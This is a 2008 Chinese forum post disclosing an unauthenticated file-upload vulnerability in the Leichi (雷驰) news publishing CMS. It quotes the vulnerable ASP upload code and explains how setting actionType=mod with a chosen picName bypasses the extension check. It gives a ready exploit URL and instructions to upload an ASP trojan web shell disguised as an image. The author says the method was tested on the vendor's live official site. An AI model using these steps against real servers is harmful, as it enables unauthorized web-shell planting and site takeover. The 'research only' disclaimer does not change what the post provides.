热搜词
发表于 2008-1-15 10:02:12 | 显示全部楼层 |阅读模式
声明:漏洞为focn[BCT]首先发现,版权归漏洞发现者focn所有,转载请保持文章完整,并注明出处!<br />本文章只做学习研究用,任何人用于其他非法用途本人不承担任何责任!<br /><br /><br />作者:黑萝卜<br />系统: 雷驰新闻发布管理系统<br />版本: 当前任何版本<br />漏洞描述:1 在admin文件夹下的uploadPic.inc.asp中,没有对访问权限进行限制,任意用户都可<br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 以 访问到此文件。任意用户都可以使用此文件上传文件到服务器<br />&nbsp; &nbsp; &nbsp; &nbsp; 2 uploadPic.inc.asp中虽然对上传文件的后缀名进行了限制但是可以绕过。请看代码!<br /><br />&nbsp; &nbsp; &nbsp; if file.FileSize&gt;0 then &nbsp; &nbsp; &#39;&#39;如果 FileSize &gt; 0 说明有文件数据 <br />&nbsp; &nbsp; &nbsp; &nbsp; &#39;生成图片名字<br />&nbsp; &nbsp; &nbsp; &nbsp; if actionType= "mod" then<br />&nbsp; &nbsp; &nbsp; &nbsp; remFileName = Right(picName,len(picName)-InstrRev(picName,"/"))<br />&nbsp; &nbsp; &nbsp; &nbsp; else<br />&nbsp; &nbsp; &nbsp; &nbsp; if editRemNum&lt;&gt;"" then &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; remNum = editRemNum<br />&nbsp; &nbsp; &nbsp; &nbsp; else<br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Randomize<br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; remNum = Int((999 - 1 + 1) * Rnd + 1)&amp;day(date)&amp;month(date)&amp;year(date)&amp;hour(time)&amp;minute(time)&amp;second(time)<br />&nbsp; &nbsp; &nbsp; &nbsp; end if<br />&nbsp; &nbsp; &nbsp; &nbsp; remFileName = remNum&amp;"_"&amp;(editImageNum+1)&amp;".gif"<br />&nbsp; &nbsp; &nbsp; &nbsp; end if<br />&nbsp; &nbsp; &nbsp; &nbsp; <br />&nbsp; &nbsp; &nbsp; &nbsp; file.SaveAs Server.mappath(formPath&amp;remFileName) &nbsp; &#39;&#39;保存文件 <br />&nbsp; &nbsp; &nbsp; &nbsp; <br />%&gt;<br /><br /><br />关键的是 if actionType= "mod" then<br />&nbsp; &nbsp; &nbsp; &nbsp; remFileName = Right(picName,len(picName)-InstrRev(picName,"/"))<br />只要自己构造actionType= "mod" 就可以饶过下面的文件名检测上传ASP文件<br />构造如下UPL<br />http://localhost/leichinews/admin/uploadPic.asp?actionType=mod&amp;picName=test.asp<br />然后在上传文件里面填要传的图片格式的ASP木马<br />就可以在uppic目录下上传文件名为test.asp的文件<br /><br />本方法在雷驰官方网站上测试通过!·<br />再次希望大家不要用于非法用途!!
全部评论0
回复
您需要登录后才可以回帖 登录 | 注册

本版积分规则

QQ|Archiver|手机版|小黑屋|管理员之家 ( 苏ICP备2023053177号-2 )

GMT+8, 2024-11-23 01:23 , Processed in 0.165093 second(s), 22 queries .

Powered by Discuz! X3.5

Cpoyright © 2001-2024 Discuz! Team